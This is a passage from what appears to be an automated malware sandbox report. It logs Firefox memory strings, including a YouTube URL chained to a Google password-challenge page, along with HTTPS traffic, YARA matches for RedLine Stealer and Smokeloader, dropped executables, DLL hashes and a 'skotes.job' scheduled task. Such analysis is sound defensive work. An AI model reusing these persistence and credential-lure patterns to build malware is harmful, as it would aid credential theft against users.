Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/get
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C88000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3316055038.000004E319904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3281670424.00000132BBA64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3292910030.00000132BDD9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBDB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3287630311.00000132BD1C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000023.00000003.3207024753.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA2D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCFCE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000023.00000002.3259653895.00000132BA0B4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA2D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237958152.00000132AA803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCFA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237958152.00000132AA86B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237687669.00000132AA670000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227805089.00000132C2790000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3242416997.00000132B61F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208033913.00000132C3C66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3281670424.00000132BBA40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237687669.00000132AA679000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C65000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3202991056.00000132C3C69000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB4D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3285902389.00000132BCFCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3240579668.00000132B6026000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000021.00000002.3106864860.0000022722417000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.3121991377.0000029D80AD9000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3237687669.00000132AA679000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdAll
Source: firefox.exe, 00000023.00000002.3238991466.00000132AC4A7000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3238991466.00000132AC460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUse
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_getBoundsWithoutFlushing.panel-header

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49953 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.5:50029 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000012.00000002.3325152088.0000000000F4C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.3323737933.0000000000D70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Binary is likely a compiled AutoIt script file

Source: 0d957dbf73.exe, 00000015.00000002.3187753102.0000000001042000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_95d06786-c
Source: 0d957dbf73.exe, 00000015.00000002.3187753102.0000000001042000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_81b54916-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name:
Source: JKECGDBFCB.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name:
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name: .idata
Source: 815f2a8fe8.exe.17.dr	Static PE information: section name:
Source: random[2].exe0.17.dr	Static PE information: section name:
Source: random[2].exe0.17.dr	Static PE information: section name: .idata
Source: 57a07eec2d.exe.17.dr	Static PE information: section name:
Source: 57a07eec2d.exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name:
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name: .idata
Source: 2533b4b8c7.exe.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: feb3d39b6a.exe.17.dr	Static PE information: section name:
Source: feb3d39b6a.exe.17.dr	Static PE information: section name: .idata
Source: feb3d39b6a.exe.17.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C53B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C53B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C53B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C4DF280

Source: C:\Users\user\Documents\JKECGDBFCB.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D35A0	0_2_6C4D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54545C	0_2_6C54545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E5440	0_2_6C4E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515C10	0_2_6C515C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522C10	0_2_6C522C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54AC00	0_2_6C54AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54542B	0_2_6C54542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E64C0	0_2_6C4E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD4D0	0_2_6C4FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C516CF0	0_2_6C516CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DD4E0	0_2_6C4DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E6C80	0_2_6C4E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5334A0	0_2_6C5334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53C4A0	0_2_6C53C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C500512	0_2_6C500512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFD00	0_2_6C4EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FED10	0_2_6C4FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C510DD0	0_2_6C510DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5385F0	0_2_6C5385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C513E50	0_2_6C513E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F4640	0_2_6C4F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C522E4E	0_2_6C522E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F9E50	0_2_6C4F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C546E63	0_2_6C546E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC670	0_2_6C4DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517E10	0_2_6C517E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C525600	0_2_6C525600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C539E30	0_2_6C539E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5476E3	0_2_6C5476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DBEF0	0_2_6C4DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EFEF0	0_2_6C4EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C53E680	0_2_6C53E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F5E90	0_2_6C4F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C534EA0	0_2_6C534EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C517710	0_2_6C517710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E9F00	0_2_6C4E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C506FF0	0_2_6C506FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DDFE0	0_2_6C4DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5277A0	0_2_6C5277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F8850	0_2_6C4F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FD850	0_2_6C4FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51F070	0_2_6C51F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4E7810	0_2_6C4E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B820	0_2_6C51B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C524820	0_2_6C524820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5450C7	0_2_6C5450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FC0E0	0_2_6C4FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5158E0	0_2_6C5158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5060A0	0_2_6C5060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4FA940	0_2_6C4FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C52B970	0_2_6C52B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54B170	0_2_6C54B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ED960	0_2_6C4ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C515190	0_2_6C515190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C532990	0_2_6C532990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50D9B0	0_2_6C50D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DC9A0	0_2_6C4DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C519A60	0_2_6C519A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C518AC0	0_2_6C518AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51E2F0	0_2_6C51E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4F1AF0	0_2_6C4F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C54BA90	0_2_6C54BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C542AB0	0_2_6C542AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D22A0	0_2_6C4D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C504AA0	0_2_6C504AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4ECAB0	0_2_6C4ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4D5340	0_2_6C4D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4EC370	0_2_6C4EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51D320	0_2_6C51D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5453C8	0_2_6C5453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C4DF380	0_2_6C4DF380
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00557049	14_2_00557049
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00558860	14_2_00558860
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_005578BB	14_2_005578BB
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00628101	14_2_00628101
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_005531A8	14_2_005531A8
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00627B6E	14_2_00627B6E
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00514B30	14_2_00514B30
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00552D10	14_2_00552D10
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00514DE0	14_2_00514DE0
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_00547F36	14_2_00547F36
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: 14_2_0055779B	14_2_0055779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D778BB	15_2_00D778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D77049	15_2_00D77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D78860	15_2_00D78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D731A8	15_2_00D731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D34B30	15_2_00D34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D34DE0	15_2_00D34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D72D10	15_2_00D72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D7779B	15_2_00D7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D67F36	15_2_00D67F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D778BB	16_2_00D778BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D77049	16_2_00D77049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D78860	16_2_00D78860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D731A8	16_2_00D731A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D34B30	16_2_00D34B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D34DE0	16_2_00D34DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D72D10	16_2_00D72D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D7779B	16_2_00D7779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D67F36	16_2_00D67F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C50CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D4DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00D480C0 appears 260 times
Source: C:\Users\user\Documents\JKECGDBFCB.exe	Code function: String function: 005280C0 appears 130 times

Source: random[1].exe0.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
